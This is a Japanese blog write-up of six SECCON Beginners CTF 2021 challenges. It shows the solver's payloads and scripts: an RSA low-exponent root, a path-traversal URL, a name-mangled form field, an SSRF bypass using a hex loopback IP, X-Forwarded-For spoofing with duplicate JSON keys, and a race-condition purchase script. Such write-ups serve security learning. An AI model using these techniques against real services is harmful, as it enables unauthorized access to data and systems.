【SECCON Begginers CTF 2021】俺なりのwriteup

#はじめに
SECCON Begginers CTF 2021にチームIronMaidenで参加していました。
自分は主にwebを解いていました。最終的にチームは207/943位でした。
crypto1問、web5問のwriteupを以下に記します。

- [【crypto】 simple_RSA](#crypto-simple_rsa)
- [【web】 osoba](#web-osoba)
- [【web】 Werewulf](#web-werewulf)
- [【web】 check_url](#web-check_url)
- [【web】 json](#web-json)
- [【web】 cant_use_db](#web-cant_use_db)

#【crypto】 simple_RSA
問題文 : Let's encrypt it with RSA!

`output.txt`に記載されている`n`、`e`、`c`の値と、`problem.py`からflagをとる。

```output.txt
n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283
e = 3
c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613
```

```problem.py
from Crypto.Util.number import *
from flag import flag

flag = bytes_to_long(flag.encode("utf-8"))

p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 3

assert 2046 < n.bit_length()
assert 375 == flag.bit_length()

print("n =", n)
print("e =", e)
print("c =", pow(flag, e, n))
```

RSA暗号の基本的な問題。
`e = 3`と2つの`assert`から $m^e < n$が成り立つ。
つまり$c = m^e \ mod \ n = m^e$。後は`c`の`e`乗根を求める。

[この記事](http://norio567.hatenablog.com/entry/2019/06/07/214800#RSA%E3%81%B8%E3%81%AE%E6%94%BB%E6%92%83Low-Public-Exponent-Attacke%E3%81%8C%E5%B0%8F%E3%81%95%E3%81%84e3%E7%AD%89%E5%A0%B4%E5%90%88)を参考にする。

```solve.py
import sys
import gmpy2
from Crypto.Util.number import *

n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283
e = 3

c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613

m,result = gmpy2.iroot(c,e)

print(long_to_bytes(m))
```

```bash
$ python3 solve.py
b"ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}"
```

#【web】 osoba
問題文 : 美味しいお蕎麦を食べたいですね。フラグはサーバの`/flag`にあります！
問題ページ : https://score.beginners.azure.noc.seccon.jp/challenges

```app.py
from flask import Flask, request, send_file, make_response

app = Flask(__name__)

@app.route("/", methods=["GET", "POST"])
def index():
    page = request.args.get('page', 'public/index.html')    
    response = make_response(send_file(page))
    response.content_type = "text/html"
    return response

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8080)
```

`app.py`より、`page`クエリパラメータに表示するページを渡せることがわかる。

```
page = request.args.get('page', 'public/index.html')    
```

`https://osoba.quals.beginners.seccon.jp/?page=/flag` を叩くとflagゲット。

#【web】 Werewulf

問題文 : I wish I could play as a werewolf...
問題ページ : https://werewolf.quals.beginners.seccon.jp/

```app.py
import os
import random
from flask import Flask, render_template, request, session

# ====================

app = Flask(__name__)
app.FLAG = os.getenv("CTF4B_FLAG")

# ====================

class Player:
    def __init__(self):
        self.name = None
        self.color = None
        self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])
        # :-)
        # self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN', 'WEREWOLF'])

    @property
    def role(self):
        return self.__role

    # :-)
    # @role.setter
    # def role(self, role):
    #     self.__role = role


# ====================

@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == 'GET':
        return render_template('index.html')

    if request.method == 'POST':
        player = Player()

        for k, v in request.form.items():
            player.__dict__[k] = v

        return render_template('result.html',
            name=player.name,
            color=player.color,
            role=player.role,
            flag=app.FLAG if player.role == 'WEREWOLF' else ''
        )

# ====================

if __name__ == '__main__':
    app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))
```

`app.py`より、`role`を`WEREWOLF`にするとflagが得られることがわかる。
`role`は配列からランダムに割り当てられており、配列の要素に`WEREWOLF`は含まれない。

以下のコード部分よりリクエストフォームに指定した値で`role`を指定できそう。

```python
for k, v in request.form.items():
    player.__dict__[k] = v
```

しかし、そのまま`__role=Werewulf`としても`role`は`Werewulf`にならない。

[この記事](https://mako-note.com/python-underscore/#%E3%83%8D%E3%83%BC%E3%83%A0%E3%83%9E%E3%83%B3%E3%82%B0%E3%83%AA%E3%83%B3%E3%82%B0)によると、クラス内の先頭に`__`がついた変数の名前は「`_クラス名`+`変数名`」に変換されることがわかる。

なので、`_Player__role=Werewulf`とするとflagが取れる。
以下、左部分が送信したリクエスト。

![スクリーンショット 2021-05-22 16.10.51.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/326169/a29973ec-ab14-ecbd-98ba-b83d0af7e30e.png)

#【web】 check_url
問題文 : Have you ever used `curl` ?
問題ページ : https://check-url.quals.beginners.seccon.jp/

```index.php
<!-- HTML Template -->
          <?php
            error_reporting(0);
            if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){
              echo "Hi, Admin or SSSSRFer<br>";
              echo "********************FLAG********************";
            }else{
              echo "Here, take this<br>";
              $url = $_GET["url"];
              if ($url !== "https://www.example.com"){
                $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing
              }
              if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){
                die("do not hack me!");
              }
              echo "URL: ".$url."<br>";
              $ch = curl_init();
              curl_setopt($ch, CURLOPT_URL, $url);
              curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 2000);
              curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
              echo "<iframe srcdoc='";
              curl_exec($ch);
              echo "' width='750' height='500'></iframe>";
              curl_close($ch);
            }
          ?>
<!-- HTML Template -->
```

`index.php`より`127.0.0.1`としてアクセスできるとflagが取れる。

`https://check-url.quals.beginners.seccon.jp/?url=http://127.0.0.1`を叩いても、以下のように変換されてしまう。

![スクリーンショット 2021-05-23 23.42.19.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/326169/81586619-b937-d225-814b-52d7674a8b19.png)

変換部分はこれ。

```php
$url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing
```

[この記事](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery)を見ると、127.0.0.1を16進数で表現したものが見つかる。

`https://check-url.quals.beginners.seccon.jp/?url=http://0x7f000001`を叩くと、flag取れる。

#【web】 json
問題文 : 外部公開されている社内システムを見つけました。このシステムからFlagを取り出してください。
問題ページ : https://json.quals.beginners.seccon.jp/

配布されたコードの構成。
apiサーバーとbuffサーバーがある。

```
.
├── api
│   ├── Dockerfile
│   ├── go.mod
│   ├── go.sum
│   └── main.go
├── bff
│   ├── Dockerfile
│   ├── go.mod
│   ├── go.sum
│   ├── main.go
│   └── templates
│       ├── error.tmpl
│       └── index.html
├── docker-compose.yml
├── nginx
│   ├── Dockerfile
│   └── default.conf
```

問題ページを見ると、`192.168.111.0/24`からアクセスしないといけないことがわかる。
![スクリーンショット 2021-05-23 23.56.06.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/326169/360bbb08-ccf7-387d-dbcd-c5bb8dc9f496.png)

サーバ側ではgoのginが使用されており、クライアントのIPアドレスは以下の部分で取得されている。

```go
clientIP := c.ClientIP()
```

調べると[CVE-2020-28483](https://nvd.nist.gov/vuln/detail/CVE-2020-28483)が見つかり、ginのclinetIPはリクエストのヘッダ`X-Forwarded-For`に指定したアドレスでスプーフィングが可能であることがわかる。

つまり、リクエストヘッダに`X-Forwarded-For: 192.168.111.0`をつけると内部ページにアクセス可能になる。

![スクリーンショット 2021-05-22 20.19.38.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/326169/bb489bbd-dd28-70d0-f801-86c760b204df.png)

リクエストは最初buffサーバに送られ、以下のvalidationを突破するとapiサーバに送られる。

```go
// validation
if info.ID < 0 || info.ID > 2 {...}
if info.ID == 2 {...}
```
validationによると`id`は`0`か`1`でないといけない。
しかし、apiサーバは`id`が2の時にflagをくれる（理不尽）。

```go
if id == 2 {
    // Flag!!!
    flag := os.Getenv("FLAG")
    c.String(200, flag)
    return
}
```

またいろいろ調べていると、[この記事](https://labs.bishopfox.com/tech-blog/an-exploration-of-json-interoperability-vulnerabilities)が見つかる。

キーを衝突させるとどうやら面白いことが起こりそうなので、衝突させてみる。
以下のようなjsonを送りつける。

```
{
    "id": 2,
    "id": 1
}
```

flagが取れた。
![スクリーンショット 2021-05-22 23.08.46.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/326169/f0c219db-380c-0047-591e-e2f5b5ba3f0a.png)

#【web】 cant_use_db
問題文: 
Can't use DB.
I have so little money that I can't even buy the ingredients for ramen.
🍜

問題ページ: https://cant-use-db.quals.beginners.seccon.jp/

![スクリーンショット 2021-05-24 0.23.47.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/326169/ac739f1a-8d4b-9f85-8db7-c4a925997ba7.png)

```app.py
import os
import re
import time
import random
import shutil
import secrets
import datetime
from flask import Flask, render_template, session, redirect

app = Flask(__name__)
app.secret_key = secrets.token_bytes(256)


def init_userdata(user_id):
    try:
        os.makedirs(f"./users/{user_id}", exist_ok=True)
        open(f"./users/{user_id}/balance.txt", "w").write("20000")
        open(f"./users/{user_id}/noodles.txt", "w").write("0")
        open(f"./users/{user_id}/soup.txt", "w").write("0")
        return True
    except:
        return False


def get_userdata(user_id):
    try:
        balance = open(f"./users/{user_id}/balance.txt").read()
        noodles = open(f"./users/{user_id}/noodles.txt").read()
        soup = open(f"./users/{user_id}/soup.txt").read()
        return [int(i) for i in [balance, noodles, soup]]
    except:
        return [0] * 3


@app.route("/")
def top_page():
    user_id = session.get("user")
    if not user_id:
        dirnames = datetime.datetime.now()
        user_id = f"{dirnames.hour}{dirnames.minute}/" + secrets.token_urlsafe(30)
        if not init_userdata(user_id):
            return redirect("/")
        session["user"] = user_id
    userdata = get_userdata(user_id)
    info = {
        "user_id": re.sub("^[0-9]*?/", "", user_id),
        "balance": userdata[0],
        "noodles": userdata[1],
        "soup": userdata[2]
    }
    return render_template("index.html", info = info)


@app.route("/buy_noodles", methods=["POST"])
def buy_noodles():
    user_id = session.get("user")
    if not user_id:
        return redirect("/")
    balance, noodles, soup = get_userdata(user_id)
    if balance >= 10000:
        noodles += 1
        open(f"./users/{user_id}/noodles.txt", "w").write(str(noodles))
        time.sleep(random.uniform(-0.2, 0.2) + 1.0)
        balance -= 10000
        open(f"./users/{user_id}/balance.txt", "w").write(str(balance))
        return "💸$10000"
    return "ERROR: INSUFFICIENT FUNDS"


@app.route("/buy_soup", methods=["POST"])
def buy_soup():
    user_id = session.get("user")
    if not user_id:
        return redirect("/")
    balance, noodles, soup = get_userdata(user_id)
    if balance >= 20000:
        soup += 1
        open(f"./users/{user_id}/soup.txt", "w").write(str(soup))
        time.sleep(random.uniform(-0.2, 0.2) + 1.0)
        balance -= 20000
        open(f"./users/{user_id}/balance.txt", "w").write(str(balance))
        return "💸💸$20000"
    return "ERROR: INSUFFICIENT FUNDS"


@app.route("/eat")
def eat():
    user_id = session.get("user")
    if not user_id:
        return redirect("/")
    balance, noodles, soup = get_userdata(user_id)
    shutil.rmtree(f"./users/{user_id}/")
    session["user"] = None
    if (noodles >= 2) and (soup >= 1):
        return os.getenv("CTF4B_FLAG")
    if (noodles >= 2):
        return "The noodles seem to get stuck in my throat."
    if (soup >= 1):
        return "This is soup, not ramen."
    return "Please make ramen."


if __name__ == "__main__":
    app.run()
```


どうやら残高が20000ドルで、10000ドルのNoodlesを2個と20000ドルのSoupを1個買えるとflagが取れそう（理不尽）。
`buy_noodles()`と`buy_soup()`を見ると、残高を減らす処理の前に約1秒のsleep処理があります。

```python
time.sleep(random.uniform(-0.2, 0.2) + 1.0)
```

このことから約1秒の間に`buy_noodles()`を2回、`buy_soup()`を1回呼び出すことができれば、残高をごまかしてNoodlesを2個、Soupを1個買うことができそう。

```solve.py
#!/usr/bin/env python

import asyncio
import requests
import time
import threading
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def buy_noodle(cookie):
    r = requests.post(url + "/buy_noodles", verify=False, cookies=cookie)
    print(r.text)


def buy_soup(cookie):
    r = requests.post(url + "/buy_soup", verify=False, cookies=cookie)
    print(r.text)

url = "https://cant-use-db.quals.beginners.seccon.jp"

r1 = requests.get(url + "/", verify=False)
cookie = r1.cookies

# 非同期で/buy_noodlesを2回、/buy_soupを1回叩く
loop = asyncio.get_event_loop()
loop.run_in_executor(None, buy_noodle, cookie)
loop.run_in_executor(None, buy_noodle, cookie)
loop.run_in_executor(None, buy_soup, cookie)

time.sleep(3)

r5 = requests.get(url + "/eat", verify=False, cookies=cookie)
print(r5.text)
```

`solve.py`を実行するとflagが取れます。

```
$ python3 solve.py
💸$10000
💸$10000
💸💸$20000
ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}
```

# おわりに
去年は1問も解けなかったSECCON Beginners CTFでしたが、今年は計6問解くことができました！
成長を実感することができ、嬉しい限りです。
運営の皆さん、お疲れ様でした。ありがとうございます！